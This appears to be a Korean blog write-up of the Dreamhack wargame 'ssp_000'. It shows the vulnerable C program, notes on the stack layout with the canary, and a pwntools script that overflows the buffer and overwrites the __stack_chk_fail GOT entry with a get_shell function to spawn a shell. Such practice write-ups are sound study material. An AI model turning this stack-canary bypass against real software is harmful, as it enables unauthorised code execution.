728x90
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80); //bof가능
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
음 카나리 모르니까 걍 __stack_chk_fail을 get_shell로 덮으면 될듯 ez
addr rbp-0x60 (8)
value rbp-0x58 (8)
버퍼 위치는 rbp-0x50~rbp-0x10 (0x40)
중간에 8byte 더미 (8)
canary rbp-0x8 (8)
sfp (8)
ret_addr (8)
앗 보니까 __stack_chk_fail 는 카나리가 틀려야지만 실행된다고 한다!!
따라서 카나리를 틀리게해줘야함
그리고 scanf로 보낼때는 str로 보내야 한다!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
from pwn import *
p=remote("host3.dreamhack.games",13836)
context.log_level='debug'
e=ELF("./ssp_000")
sc=e.got["__stack_chk_fail"]
gs=e.symbols["get_shell"]
p.sendline(b'a'*0x50)
p.sendlineafter("Addr : ",str(sc))
p.sendlineafter("Value : ",str(gs))
p.interactive()
'Linux Exploitation > Wargame' 카테고리의 다른 글
[드림핵(Dreamhack)] iofile_aw (0) | 2023.09.01 |
---|---|
[드림핵(Dreamhack)] environ (0) | 2023.08.18 |
[드림핵(Dreamhack)] iofile_vtable (0) | 2023.08.06 |
[Pwnable.kr] passcode (0) | 2023.07.27 |
[드림핵(Dreamhack)] send_sig (0) | 2023.07.25 |